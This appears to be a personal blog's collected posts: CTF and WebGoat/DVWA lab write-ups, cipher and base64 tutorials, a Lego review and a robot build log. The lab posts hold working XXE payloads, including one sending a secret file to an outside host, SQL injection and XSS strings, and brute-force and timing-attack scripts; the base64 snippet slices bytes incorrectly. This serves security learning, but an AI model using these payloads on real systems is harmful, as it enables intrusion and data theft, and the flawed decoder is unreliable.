50m CTF write-up

On the 26th of February HackerOne announced ‘the biggest, the baddest, the warmest’ CTF, with an incredible price of 10.000 US$. Being a beginner hacker my first reaction was: ‘with that kind of price, I’ve no chance in hell to solve it!’. However, since I love playing CTFs I took a shot anyway. This is my write-up of the CTF, which I unfortunately was unable to solve due to both lack of time and lack of experience. I did however, get much further than I would have ever dreamed.

Step 1

The tweet included two PNG pictures and no hint on what to do. I’d recently done another CTF by Intigriti which also included a picture, and reasoned that steganography had to be involved. Running steghide on the image didn’t help, since it didn’t support PNGs. Neither did hexdump nor messing with the picture in Gimp. I then went and searched Duckduckgo for ‘png hidden stego’ and came upon a tool for extracting information from PNGs, namely zsteg. Running through the examples in their readme I was able to extract a link with the following command:

./zsteg D0XoThpW0AE2r8S.png -b 1 -o yx -v

Visiting the link led to a Google Drive box with a single file, an Android APK.

Step 2

First thing I did was load the APK in Android Studio and run it in a VM. It presented me with a clean login interface and nothing else. I tried a few username/password combos and intercepted the traffic in Burp. Turned out both the request and reply were encrypted.

Digging through the java code using jd-gui I could see that the app was using AES-256-CBC to encrypt and decrypt, and the key was even hardcoded!

After a couple unfruitful days trying to decrypt the payloads using OpenSSL I gave up and threw together a python script, which luckily was a lot easier that I expected. With this script I was able to both see and tamper with the requests the app sent. I tried bruteforcing the login credentials which was surprisingly easy: username: admin, password: password! Thinking I’d solved this step I logged in and was presented with a thermostat that allowed me to change the temperature somewhere… And nothing else. Apparently a dead end!

I continued to tamper with the payloads and discovered that by including a single quote in the username I could provoke a different error message from the server. Using two single quotes did not give an error. Great! Apparently the username was vulnerable to SQL injection!

Exploiting this injection manually seemed pretty daunting, so I looked to sqlmap. One problem though: I needed to encrypt every payload sent by sqlmap for the server to understand it. Luckily sqlmap has an option called ‘tamper’, which runs every payload through a python script. I looked through the included scripts but none of them did what I needed, so I wrote a new one using the code I wrote for manually tampering with the payloads. The result was this:

 #!/usr/bin/env python3.6

""" For use in sqlmap as tamper script.
Encrypts payload using AES-CBC, then base64 and finally URL-encodes
chars. """

import base64
import hashlib
from Crypto.Cipher import AES
from Crypto import Random
from lib.core.enums import PRIORITY
import urllib

__priority__ = PRIORITY.LOW

BLOCK_SIZE = 16
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE)
* chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)

def dependencies():
pass

def tamper(payload, **kwargs):
retVal = payload
password = b'\x38\x4f\x2e\x6a\x1a\x05\xe5\x22\x3b\x80\xe9\x60\xa0\xa6\x50\x74'
retVal = "{\"username\":\"" + retVal +
"\",\"password\":\"1\",\"cmd\":\"getTemp\"}"
retVal = pad(retVal)
iv = Random.new().read(AES.block_size)
cipher = AES.new(password, AES.MODE_CBC, iv)
retVal = retVal.encode('ascii', 'ignore')
retVal = base64.b64encode(iv +
cipher.encrypt(retVal)).decode('utf-8')
retVal = retVal.replace('/', '%2F').replace('+',
'%2B').replace('=', '%3D')
return retVal

I let sqlmap run overnight and next morning it had dumped the whole database for me. One of the tables in the database was called ‘devices’ which included a list of 151 IP addresses. Most of those were LAN IPs (192.*.*.*), so I used sed to remove those and were left with a list of just 52 ‘real’ IPs. Feeding this list to nmap gave me just one working IP, which I did a full scan of.

Step 3

Visiting the URL on port 80 presented me with yet another login screen, and the site appeared to be the backend for the Android Thermostat app. I tried the usual stuff, weak login credentials (admin/password didn’t work here!), ran wfuzz to look for interesting pages, etc. The login function used a javascript to hash the username and password with a custom hashing algorithm using lots of XORs. It appeared quite daunting to me as I have no programming or IT background at all.

At this point I left the CTF for some days, not really knowing how to proceed. I did notice one interesting thing though: when dumping the database earlier, apart from the ‘devices’ table, there was a table with just two usernames and their hashed password. The admin password was hashed using MD5 and I was able to crack it (I already knew the password), but the password of user ‘test’ was encrypted using the custom hash of the backend login form. By pure chance I noticed that by trying to login as test:test the hash was equal to the one found in the database. I thought I’d stumbled upon the login by pure chance, but it turned out this was just another red herring.

I talked to another hacker Checkm50 who was well ahead of me in the CTF, and he hinted that I should look into timing attacks. I did some tests on the login and noticed that by systematically changing the first byte of the hash, one in 256 bytes took around half a second longer to get a reply from the server. I threw together a script to exploit this, but then realised that if each successive correct byte took half a second longer, this attack would take a LONG time.

 # Script to perform time-based attack on the 50m-CTF login. 
from collections import defaultdict
import requests
import numpy as np
import datetime

url = 'http://104.196.12.98/'
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
string =
'f9865a4952a4f5d74b43f3558fed6a0225c6877fba60a250bcbde753f5db1300'
results = defaultdict(list)

print('Starting login timing attack at ' +
str(datetime.datetime.now()) + '. \n')

for j in range(5): # Number of iterations
for i in range(256): # Cycle through all 256 bytes
payload = string[:2] + "%0.2x" % i + string[4:]
data = 'hash=' + payload
req = requests.post(url, headers=headers, data=data)
results[i].append(req.elapsed.total_seconds())
print('Cycle ' + str(j) + ' complete at ' +
str(datetime.datetime.now()) + '. \n')
j += 1

for key in results:
result = np.mean(results[key])
if result > (1.5): # Adjust this number
print(str("%0.2x" % key) + ': ' + str(result))

print('##########################################################\n')

The script required a lot of manual intervention. I let it run for 2-3 iterations of all possible 256 bytes since the timing fluctuated a little, and it wasn’t always clear which byte took 500ms longer. The first iterations took just a few minutes, but due to the 500ms delay for each correct byte, the last bytes took over an hour for each iteration! After about 3 days I was able to extract the correct login hash and log in.

Step 4

I had already run wfuzz on the site, so I knew what pages existed. I couldn’t get in to /diagnostics even though I was logged in, so I only had /control and /update to work with. Visiting /update the page tried to contact a fictitious server on port 5000 and failed. Doing some guessing on the URL parameters, I was quickly able to find that by adding ?port=80 to the URL the page used that port instead. Great! Now I only needed to find the parameter to change the URL.
Which again turned out to be harder than I imagined…..

Once again with some hints from hacker Checkm50 and an official hint on Twitter I was able to part guess, part bruteforce, the parameter for the URL. I supplied it my own IP, booted up my Raspberry Pi server, and… nothing. No traffic. Of course it wouldn’t be this easy!

At this point the CTF had run for almost a month, and the next day I woke up to the news that it had ended, and the server taken off line.
To be honest I probably wouldn’t have finished it anyway, it was quickly reaching a level way over my skill level. Still, I’m very glad to have participated, I learned a lot and actually got much farther than I would ever have dreamed.

Caesar ciphers in Python

One of the simplest ciphers is the Caesar cipher, also called the shift cipher. It works by shifting each letter in the alphabet n positions to the right, mapping it to a different letter. For example, using ‘rotation 13’, a is shifted 13 positions to the right, corresponding to the letter n.

What happens to the last letters in the alphabet? For example, shifting z 13 positions to the right maps it outside of the 26 letters of the English alphabet. In this case we have to use a bit of math, namely modular arithmetic. Whenever the result of the shift is bigger than the size of the alphabet (called the modulus), it wraps around and starts counting from the beginning. So z rotation 13 would become letter number 13 (26+13-26), or the letter m. Mathematically this is expressed as:

x ≡ (26 + 13) mod 26 ≡ 13

In Python, the modulus operator is designated as %

With these basics, how would we implement a Caesar cipher in Python? First, we need the letter number for each letter in the supplied string (let’s call it num), and then sum the rotation (rot) modulus the number of letters in the alphabet (26).

Mathematically, this would be written as:

x ≡ (num + rot) mod 26

For the first part, getting the letter number, we can either supply a table or, even simpler, get the ASCII value of the letter and subtract 97, since ASCII(‘a’) = 97. Remember, in computer science we almost always start counting at 0, which is why we subtract 97 and not 96 (97-97=0).
Getting the ASCII value is simple in Python, we just use ord() on the letter.

We can now shift the letter with the rotation value using modular arithmetic (to not get out of bounds of the alphabet), and finally change the resulting number back to ASCII using chr(). These 3 steps can be done in Python like this:

num = ord(char)
cypher = (num - 97 + rot) % 26
cypher = chr(cypher + 97)

Doing this for each letter gives us our encrypted string, the cipher text, which we can send to our friends and allies content in the knowledge that nobody can break our state-of-the-art cipher(!).

How then does the recipient decrypt the cipher? Apart from going to one of the countless online breaking tools or breaking it mathematically or using letter analysis, we can of course use Python again to do the decryption. Basically it’s the opposite of what we just did for encryption:

num = ord(char)
plain = (num - 97 - rot) % 26
plain = chr(plain + 97)

As you can see, we now subtract the rotation instead of adding it like in the encryption phase. We again use modulus to wrap around the alphabet, this time when we go lower than 0, or a.

Finally we can wrap the code in a loop so it works on the whole plainstring, import argparse so we can supply the string and rotation directly on the command line, and specify whether we want to encrypt or decrypt. The full script can be found on my GitHub repo or at the bottom of this post.

Using the script to encrypt and decrypt ‘hello world’

A few things to note: the script only encrypts letters, not symbols, and is hardcoded for the English alphabet (26 letters). Also, all letters will be changed to lowercase before encryption.

I hope you enjoyed this post. I intend to bring more crypto-related posts in the future since it is something I’m currently studying.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/python
# Takes a string and shift encrypts or decrypts it using the
# supplied rotation
import argparse

# Add arguments
parser = argparse.ArgumentParser(description="Encrypt/decrypt
    Caesar cyphers"
)
parser.add_argument("mode", help="Encrypt or decrypt", nargs="?",
    choices=("encrypt", "decrypt"))
parser.add_argument("string", help="String to encrypt/decrypt")
parser.add_argument("rot", help="Rotation to use")
args = parser.parse_args()

# Definitions
mode = args.mode
string = args.string.lower()
rot = int(args.rot)

def encrypt(string, rot):    
    """Caesar encryption function"""
     cypherstr = ""
     for char in string:
         if not char.isalpha():
             cypher = char
         elif char.isalpha():
             num = ord(char)
             cypher = (num - 97 + rot) % 26
             cypher = chr(cypher + 97)
         cypherstr += cypher
     return cypherstr

def decrypt(string, rot):
     """Caesar decryption function"""
     plainstr = ""
     for char in string:
         if not char.isalpha():
             plain = char
         elif char.isalpha():
             num = ord(char)
             plain = (num - 97 - rot) % 26
             plain = chr(plain + 97)
         plainstr += plain
     return plainstr

# Either encrypt or decrypt
if mode == "encrypt":
     print(encrypt(string, rot))
elif mode == "decrypt":
     print(decrypt(string, rot))

OWASP WebGoat XXE

The WebGoat XXE (XML External Entity) section has 3 exercises. The first 2 are pretty easy, the last one quite difficult.
So without further ado, let’s get to it!

Exercise 3

In this exercise you are asked to list the contents of the root file system directly in a comment using XXE. For this, you can use the SYSTEM “file://” entity, as follows:

<?xml version=”1.0″?>
<!DOCTYPE comment [
<!ENTITY xxe SYSTEM “file:///”>
]>
<comment>
<text>&xxe;</text>
</comment>

Intercept the request with a proxy and change the POST data to the above. This works on Linux systems, for Windows you should list the contents of C:/ instead of /.

Exercise 4

This one is very simple, do the same as above but with a twist. Initially, the data is sent by JSON not XML. Just change the Content-Type to application/xml in the header.

Page 6

This is not really an exercise, but since the tutorial is full of errors and you have to get it working correctly before trying the next exercise, I have included it.
You are asked to ping the landing page of WebWolf with the test=HelloWorld parameters, using the following attack.dtd file uploaded to WebWolf:

<?xml version=”1.0″ encoding=”UTF-8″?>
<!ENTITY ping SYSTEM ‘http://192.168.56.101:9090/landing?test=HelloWorld’>

It is important to go to ip:port/landing, NOT ip:port/WebWolf/landing as the tutorial says! Trying to go to /WebWolf/landing constantly returned the error Scanner State 24, which didn’t make much sense. Also, don’t forget to send the parameters, the tutorial doesn’t mention this.

Exercise 7

This exercise builds upon the example on page 6, so it’s important to get that to work first. This time, you are supposed to ping the landing page of WebWolf with the contents of a secret file from the server system. You should do this with an attack file hosted on WebWolf, not listing the file in the comment section of WebGoat (which is much easier).

First, construct and upload the contents_file.dtd to WebWolf:

<?xml version=”1.0″ encoding=”UTF-8″?>
<!ENTITY % all “<!ENTITY send SYSTEM ‘http://192.168.56.101:9090/landing?%file;’>”>%all;

This pings /landing with the file parameter which we’ll specify later, allowing you to see its contents in WebWolf (Incoming Requests).
Again, write a comment in WebGoat and intercept the POST, changing it to the following:

<?xml version=”1.0″ encoding=”UTF-8″?>
<!DOCTYPE xxe [
<!ENTITY % file SYSTEM “file:///home/tux/.webgoat-8.0.0.M21/XXE/secret.txt”>
<!ENTITY % dtd SYSTEM “http://192.168.56.101:9090/files/123456/contents_file.dtd”>
%dtd;]>
<comment>
<text>test&send;</text>
</comment>

This command does two things: reads the secret.txt file and allows it to be referenced as %file; and opens the contents_file.dtd on the WebWolf server, which then pings itself with the contents of %file;.
Now go to Incoming Requests in WebWolf, look at the latest record and copy the parameter (removing URL encoded spaces). Post this message in WebGoat under the cute cat, and you should have solved the exercise!

OWASP WebGoat SQLi mitigation lesson 8

The OWASP WebGoat SQL Injection Mitigation lesson 8 is another blind SQL exercise, very similar to the SQL advanced lesson 5. Actually, I solved it with a similar technique to that one.
The goal is to find the IP of the webgoat-prd server, which is not listed on the page. Try sorting the entries via the GUI and capture the traffic with a proxy. You should see a column parameter in the URL being sent. You can only modify the order by clause of the SQL query being made in the column parameter, but as was explained on the previous page in WebGoat, order by allows you to use case to construct a sub query.
The case construct works like this:

case (true) then something else something_else end

If the case evaluates to true then do the first thing, else do the other thing. Since we are working within the order by clause, there’s really only one thing we can do as then or else, which is sort by one of the returned (column) values. To avoid complicating matters, I used sort by id for true, and sort by IP for false. That way, I could quickly spot if my query was true by checking if the returned data was sorted numerically.
The real question is what to use for the case evaluation. After some messing around I settled on exists and constructed a few queries.

exists(select id from servers where hostname=’webgoat-prd’)

checks if webgoat-prd actually exists in the database. Since the results returned were sorted numerically, it does!

After some trial and error I was able to construct the following final query, which extracts the IP one number at a time. Like in the SQL advanced mission 5, using Burp Intruder makes the task much easier and faster.

http://localhost:8080/WebGoat/SqlInjection/servers?column=(case when exists(select id from servers where hostname=’webgoat-prd’ and substring(ip,1,1)=1) then id else ip end)

If the returned query is sorted by id, then ‘1’ is the first number of the webgoat-prd IP address. As with lesson 5, it is just a question of iterating through all numbers and the starting index of substring. Since we don’t know the length of the IP address beforehand, we should also check for the string ‘.‘ (dot), for example in the 4th and 8th index.

Following the above technique it should be relatively easy to extract the IP address from the database.

OWASP WebGoat SQL advanced lesson 5

Last week I wrote about the OWASP WebGoat XSS lessons. Today I’d like to write a few pointers on how to solve the SQL injection (advanced) lesson 5. The goal is simple: you are presented with a login box and given a username; log in as that user.

The usual username’ OR ‘1’=’1 — unfortunately doesn’t work (that would have been too easy!), and since the last slide talked about blind SQL injection, it was pretty obvious that this was the way to go. After a few unfruitful hours trying to use SLEEP and UNION on the register new user page I started looked online for a hint. What I found was to register a new user, and then register it again with either TRUE or FALSE:

Register new user: testuser
Again register the same user but like this: testuser’ AND ‘1’=’1
Which equates to “testuser and TRUE”. When registering this user, pay attention to the server reply:

User testuser’ and ‘1’=’1 already exists please try to register with a different username.

Now try registering: testuser’ AND ‘1’=’2
Which translates to “testuser and FALSE”. The server now replies:

User testuser’ and ‘1’=’2 created, please proceed to the login page.

At first I thought it literally created the user “testuser’ and ‘1’=’1” but no, it still creates only “testuser” but apparently the added 1=1 means “user already exists”, as opposed to 1=2 meaning user doesn’t exist, although it does (we already created user “testuser”).

Again, since the last slide talked about extracting the database version string with substring(database_version(),1,1)=’1 I tried tagging that on to the username instead of ‘1’=’1. Iterating through all 10 numbers for the database version, I got 2 as the only TRUE statement. Using this technique, I was able to find 2.3.4 as being the database version.

So what other kind of information can we extract using substring? I first tried ‘user’ and ‘username’, but got an error saying the string didn’t exist. ‘userid’ worked though, but I saw no need for that information. In a flash of inspiration I tried ‘password’, and lo and behold, the first letter that equated to TRUE was ‘t’:

tom’ AND substring(password,1,1)=’t

User tom’ AND substring(password,1,1)=’t already exists please try to register with a different username.

As we saw before, ‘1’=’1 equals TRUE and returns “user already exists”, so if the above command returns the same, it must equal TRUE as well. We now have the tool to extract Tom’s password!

At this point I got tired of going through all characters manually and fired up Burp and configured BURP Intruder for a sniper attack. There’s only 1 parameter to fuzz, the very last letter in the string. This is very easy to do with Intruder with the following settings:

Attack type: Sniper
Payload: Brute Forcer
Character set: abcdefghijklmnopqrstuvwxyz0123456789
Min length: 1
Max length: 1

To find a hit, sort the results by length. A successful hit is slightly longer than a miss.

Each time I got a hit I changed the start position of substring (2nd parameter) and ran intruder again. Within half an hour I had poor Tom’s password!

OWASP WebGoat XSS lessons

I recently installed WebGoat, a deliberately vulnerable web app with built-in lessons. While some of the lessons are very easy, they quickly rise to a much higher difficulty. Even though the app does explain the basic concepts, the explanations are nowhere good enough to solve the exercises provided.

In this post I’ll focus on the Cross-Site Scripting (XSS) lessons, which I was recently able to solve.

After having installed WebGoat, you may want to access it from another client. You can do this by launching it with the –server.address=x.x.x.x parameter. Also, if you don’t want to reconfigure Burp or ZAP, –server.port=8081 allows you to run WebGoat on a different port from the default 8080 which these proxies normally use.

The first 2 XSS lessons are pretty straight-forward and I won’t talk about them (however, see here). However, on lesson 10 I started having difficulties: I didn’t really understand what they were asking for (“what is the route for the test code that stayed in the app during production”)? Turns out you have to dig through the javascript source code and look for some kind of test code. The first time you answer incorrectly you’ll get a hint on where to look. The difficulty for me was in finding out exactly the answer they wanted. Looking in GoatRouter.js (as the hint suggests), you’ll find the following key/value pairs:

routes: {
‘welcome’: ‘welcomeRoute’,
‘lesson/:name’: ‘lessonRoute’,
‘lesson/:name/:pageNum’: ‘lessonPageRoute’,
‘test/:param’: ‘testRoute’,
‘reportCard’: ‘reportCard’

Try playing around with these routes; as the lesson suggests, the base route for the lesson is start.mvc#lesson/. What is the route for reportCard? Try accessing start.mvc#reportCard.
Now for the test code: Of the 5 routes we have in the above code, it’s obviously the ‘test/:param’:’testRoute’ part we are interested in. How does this translate as a base route? If the lesson base route is start.mvc#lesson/, it should follow the same premise. Forget about the :param and testRoute part, we won’t need that until later.

Lesson 11 is where things start to get really interesting. Having identified the base route for the test code, we are now asked to run the code. Try accessing the test code in the browser (base route + parameters as seen in GoatRouter.js).

Now that’s interesting. It seems as if what we wrote in the URL gets reflected in the page. Try writing something else after test/, like the classic <script>alert(1)</script>:

Remember to URL-encode the / in </script>, or it won’t work (as %2F).

So we now know that the parameters after the base route get reflected in the page. Since the reflected part never gets sent to the server, this is DOM-based XSS. However, in this mission we are not interested in getting a pop-up, but in running the phoneHome test code and getting its output from the browser console (Firefox: right-click -> Inspect Element -> Console). So how do we run the code? If <script>alert()… allow us to get a pop-up box, which tags allow us to run javascript code (stop reading here if you want to figure out the rest yourself)?

One possible way is:

start.mvc#test/<script>webgoat.customjs.phoneHome();<%2Fscript>

Run this, and look in the console.log:

‘phone home said {“lessonCompleted”:true,”feedback”:”Congratulations. You have successfully completed the assignment.”,”output”:”phoneHome Response is -1798806219″}’

The ‘Response’ is obviously the answer to the mission.

Lesson 13 is a continuation of what we learned in lesson 11. This time you are the evil hacker trying to steal everyone else’s session on a message board. Or rather, you want to insert a stored bit of XSS that other potential users will inadvertently execute. I had a lot of trouble with this mission, and even though I believe I’ve solved it the way they want me to, it still shows as unsolved in the stats.
After a lot of trial and error I tried inserting the base javascript webgoat.customjs.phoneHome() into a message using the <embed src=””> tag. There are other ways to execute it, like <script src=”javascript:webgoat.customjs.phoneHome();”></script>. They all pretty much do the same thing, execute the javascript and generate a new mission Response code.

As I said, even though I input the code in the mission and the page says “Yes, that is the correct value”, it still shows as unsolved in the mission stats. The lesson link however is green, as in a solved mission. A bug?

 

This YouTube video by Lim Jet Wee might be helpful for lesson 10. 

DVWA login brute-forcer in Python

I recently started playing around with the Damn Vulnerable Web Application, a PHP/MySQL web app for security researchers and students. It is, as the name implies, damn vulnerable.

After installation of DVWA you’ll be presented with a login page. Unless you supply the user and password from the manual you’ll have to get access some other way. Fruitlessly trying some SQL injection I decided to simply brute force the login, and used Burp Suite to get some more information. Turns out that all you need to login is the username, password, user token and a session id. The session id is provided in a cookie, the user token by the login page, and the username and password is of course what we need to find.

1
<input name="user_token" type="hidden" value="d3b0fabcd22dd8ad5f202f508777f8b8" />

While manually supplying a few user names and passwords I found out that the login page responds with a 302 Found HTTP response, either forwarding back to the login page in case of a failed login, or to index.php in case of a successful login (I already knew the default user name and password from the manual). Going back to the index.php resulted in a new user token being generated, but ignoring the forward meant I could continue supplying the same user token again and again.

I wrote the brute forcer in python using BeautifulSoup, requests and re, all python modules. The program is pretty simple: request the login page, find and extract the user token from within the login page, get the session id from the cookie, and return these plus a random username and password with a HTTP POST method.

Running this script with a supplied list of user names and passwords meant I was able to find the login in just a few seconds. The script is tailored to DVWA but could easily be customised for other vulnerable sites.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/python

from bs4 import BeautifulSoup
import requests
import re

# url to attack
url = "http://192.168.56.101/dvwa/login.php"

# get users
user_file = "users.txt"
fd = open(user_file, "r")
users = fd.readlines()
fd.close()

# get passwords
password_file = "passwords.txt"
fd = open(password_file, "r")
passwords = fd.readlines()
fd.close()

# Changes to True when user/pass found
done = False

print("Attacking " + url + "\n")

# Get login page
try:
    r = requests.get(url, timeout=5)
except ConnectionRefusedError:
    print("Unable to reach server! Quitting!")

# Extract session_id (next 2 lines are from https://blog.g0tmi1k.com/dvwa/login/)
session_id = re.match("PHPSESSID=(.*?);", r.headers["set-cookie"])
session_id = session_id.group(1)

print("Session_id: " + session_id)
cookie = {"PHPSESSID": session_id}

# prepare soup
soup = BeautifulSoup(r.text, "html.parser")

# get user_token value
user_token = soup.find("input", {"name":"user_token"})["value"]

print("User_token: " + user_token + "\n")

for user in users:
    user = user.rstrip()
    for password in passwords:
            if not done:
                password = password.rstrip()
                payload = {"username": user,
                    "password": password,
                    "Login": "Login",
                    "user_token": user_token}

                reply = requests.post(url, payload, cookies=cookie, allow_redirects=False)

                result = reply.headers["Location"]

                print("Trying: " + user + ", " + password, end="\r", flush=True)

                if "index.php" in result:
                    print("Success! \nUser: " + user + " \nPassword: " + password)
                    done = True
            else:
                break

Decoding base64 in Python

This is a small tutorial for beginners on how to decode base64 text strings in Python3. While Python does have a function to directly encode and decode base64, it is always good practice to try and write one yourself if you are a new programmer.

Head over to Wikipedia to see how base64 is decoded. First, each character in the encoded string is assigned a number according to the base64 table. This number is then translated to 6 bit binary.

You can do this in Python by including the base64 table as a dictionary, and iterating through all characters in the encoded string, like this:

for char in string:
    if char in index.keys():
        bin_string += 
            "{0:06b}".format(index.get(char))

The last line formats the decimal value to 6-bit binary ({0:06b}). As the highest value in the base64 table is 63 (for the / character), 6 bits are exactly enough to hold it and no information will be lost (0b111111 = 63).

The above loop creates one long binary string (bin_string) which should now be partitioned in bytes (8 bits) and converted to ASCII. This can be accomplished with the following loop:

while len(bin_string) >= 8:
    byte = bin_string[1:8]
    char = chr(int(byte, 2))
    output += char
    bin_string = bin_string[8:]

This code iterates through the binary string until it’s less than 8 bits long (which should be the end), takes the first byte and converts it to ASCII (actually, Unicode) using the chr function. This could also be done by including an ASCII table and using that to convert, just like we did in the beginning with the base64 table. I’ll leave that as an exercise.
Finally, it removes the first byte from the binary string which we just converted, and the loop continues to the next byte.

If you use print(output) now, it should display the decoded string.

To make the script a little more intuitive you can incorporate the argparse module which allows the coded string to be included as an argument while running the script, like this:

python base64_decode.py --TWFu

Where ‘TWFu’ is an encoded string.

The code for argparse is as follows:

import argparse

parser = argparse.ArgumentParser(Description="")
parser.add_argument('--string', dest='string',     
    required=True)
args = parser.parse_args()

The string to decode then becomes args.string when called in the subsequent code.

Happy coding!

The full script can be found at github.

Lego 21309 Saturn V Review

In April 2017 Lego unveiled the new Lego Ideas Saturn V rocket, a project I had supported on Lego Ideas. As soon as I saw the final model and its price tag, I knew I had to get it.

The wait was rather long since it got sold out at the Lego online store on the very first day, but I was finally able to get it in July, around the time of the 48th anniversary of the first Moon landing (actually I built it around these days).

The set retails at 120€ and has 1969(!) pieces, and measures one meter high. It has an incredible attention to detail as you’ll see on the following photos.

Inside the box there are 12 numbered bags and an instruction manual with a short description of the real rocket and how the model was designed by Lego. Experienced Lego builders may notice there are no stickers: all parts are printed!

The stages of the rocket consist of an inner structure to give stability and to allow the outer panels to be attached. There’s a bunch of clever connections like seen above. The gap seen coincides with the riveted pieces that will be attached later.

Some steps are repeated four times like with the above panel pieces, but even so the model is a very interesting build.

Strange use of pieces

I did scratch my head a few times due to the strange use of pieces. The above 6×1 panel piece is attached with jumpers instead of 2×1 flat pieces. The only reason I can think of is to cut costs, I suppose jumpers are slightly cheaper that 2×1 pieces, allowing Lego to keep the price of the model low.

Instead of using a single trussed piece on the Launch Escape System Lego has used 16 nozzle pieces – genius! Since there’s a Technic axle through the center the structure is very solid and won’t come apart.

There’s an incredible level of detail to the F-1 engines on the first stage. the nozzles are made up of barrels in gun metal grey plastic.

1st and 2nd stages

The 1st and 2nd stage finished together with a drawing I once made through a telescope of some Lunar craters. The stages are very robust and don’t easily fall apart. While I wouldn’t want to drop them, I have no fear of handling them and they have a very satisfying ‘click’ when they are put together.

Lego astronaut to scale

Lego has included 4 micro figures to scale. I’m not sure who the 4th astronaut is supposed to be, but here’s Mike Collins to indicate the gigantic proportions of the rocket. Truly a magnificent machine!

CSM splashed down and LEM on the Moon

Apart from the rocket, two smaller ‘vignettes’ are included: The Lunar Excursion Module (LEM) touched down on the Moon with Neil Armstrong and Buzz Aldrin, and the CM splashed down on Earth. The LEM can be put inside the rocket in its proper place just behind the CSM, while there’s an extra CM with its white protective cover for use on the rocket.

CSM and LEM

Another way to display the CSM and LEM as they would be on their way to and around the Moon. This does however use the Service Module from the rocket, as there are no spares.

A closer look at the 2nd stage. The black dots is a printed piece, as well as the lettering of course. Both the 1st and 2nd stages are almost completely round, and made up of 2×3 curved pieces. I believe the technical term is SNOT, Studs Not On Top.

Lego Saturn V on stands

And lastly, the Lego Saturn V in all its glory! At 1 meter long, the model is a sight to behold, and in my opinion very well worth its 120€ price tag.

As a child I had dozens of Lego kits and several Lego Technic kits when I got older. In my opinion, the Saturn V is the best set Lego has ever made. It is a decorative, well-detailed model that is fun to build and stays very true to the original rocket. It is also very educational, since it allows one to simulate the Moon mission in all its steps. It’s no wonder it’s completely sold out everywhere as of the time of writing, but more will be on the way.

Arduino Lego Robot – Update 2

Eyes and Brainz

In the past few days I’ve been busy installing the brain of my Arduino Lego robot, namely the Raspberry Pi, and making a mount for the Raspberry Camera to allow it to pan and tilt. If you haven’t read the first entry of my robot blog, you can do so here.

The Raspberry Pi is running Gentoo Linux, my favourite Linux distro. Installation was straightforward using the wiki and cross-compiling the software on my Gentoo desktop. The Arduino is connected directly to the Raspberry via USB and communicates over serial. All my robot code is done in Python (except for C++ for the Arduino), but since I’m still working on that I’ll focus on the mechanical parts in this blog update.

At this point the robot is basically completed mechanically.

I’ve installed the Raspberry Pi on top of the robot with some strategically placed Lego beams and axles. It sits just clear of the Arduino and its shield underneath it. The power supply for the Raspberry is a mobile phone power pack slung underneath the robot with rubber bands. The Arduino uses a 9V battery which also powers the 2 servo motors for the camera mount. Lastly, the robot Lego motors are powered by a Lego 9V (actually 7,2V) power pack on the back.

Underside view showing the battery pack for the Raspberry Pi and the 2 Lego motors.

I’m communicating with the robot via WiFi from either my desktop PC or laptop. At this time I just connect the Raspberry to my router but I’ll probably make a hotspot on my laptop to be able to take the robot out into the field. Since communications never leave the LAN I don’t experience too much lag and can easily pilot the robot in real time.

Camera mount

For the camera mount I chose not to use Lego parts as it would become too bulky and I couldn’t really find a way to attach the servos to them without having to modify the Lego parts. Only the lower servo is attached to Lego, for the upper servo I made a simple frame from some spare metal and attached that to the servo plastic arms. The camera is attached to the upper servo with double-sided tape.

Due to the limitations of the servos the camera rotates only +/- 50 degrees from center (up and down). I think the servos are good up till +/- 70 degrees but I prefer to keep a margin not to damage them. As of now the camera is controlled from the PC with the arrow keys in 10 degree increments and a key to recenter it. It works well, but I’ll probably look into programming a more fluid movement, possibly using a gamepad.

Front View

My next task will be modifying the code to show the live video feed within Pygame instead of a separate VLC window, and generally modifying and cleaning up my code. Especially the networking part needs a good look through.

Whenever I have something new to show I’ll write the next entry, but expect it to be focused on the software not the hardware. Oh, and I’ll soon make a video of the robot in action!